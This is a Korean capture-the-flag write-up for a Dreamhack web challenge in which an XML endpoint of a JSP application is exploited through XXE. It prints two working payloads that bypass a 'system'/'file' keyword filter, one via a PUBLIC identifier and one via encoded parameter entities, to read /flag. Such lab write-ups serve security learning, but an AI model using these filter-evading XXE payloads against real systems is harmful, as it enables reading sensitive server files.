[DH] Movie time table

Writeup
2025. 8. 4.

Introduction

movie time table에 대한 풀이를 다룬다.

위 문제에 대한 풀이를 담고 있기에 문제를 풀기 전 읽지 않기를 권장한다.



XML

XML XXE에 대해서 이전에 다룬 적이 있다. 위 내용을 바탕으로 어렵지 않게 풀 수 있었던 문제이다.

Analysis

문제에서는 JSP 기반 웹 어플리케이션을 제공한다. endpoint 중 /test가 눈에 들어온다. xml을 입력하면 이에 대해서 xml로 파싱하고 응답을 제공한다. 문제는 여기에 XXE 취약점이 존재한다는 것이다.

XXE

XXE는 DTD에 외부 엔티티를 선언이 가능할 때 발생한다. 현재 문제에서는 system과 file 키워드를 막았지만, PUBLIC 키워드는 막혀있지 않다. PUBLIC 키워드는 identifier를 찾지 못한 경우 fallback으로 외부 엔티티를 불러오는데, 이때는 system keyword가 필요가 없기에 이를 이용해서 XXE가 가능하다. 또, 정확한 flag의 위치를 알고 있기에 /flag로 XXE를 이용해서 flag를 가져올 수 있다. (또는 ../flag 로도 가능하다.)

Solution

Postman으로 아래 요청을 보냈다.

<?xml version="1.0"?>
<!DOCTYPE movie [
<!ENTITY xxe PUBLIC "-//zz//DTD//EN" "/flag">
]>

<movie>
    <title>&xxe;</title>
    <showtime>16:00</showtime>
</movie>

P.S.

<!DOCTYPE foo [
<!ENTITY % xxe1 "<!ENTITY xxe2 &#83;&#89;&#83;&#84;&#69;&#77;&#77; 'FILE:/flag'>">
%xxe1;
]>

위처럼 parameter entity를 이용해서도 XXE가 가능하다. 그리고 file://file:로도 동작한다.

[DH] Movie time table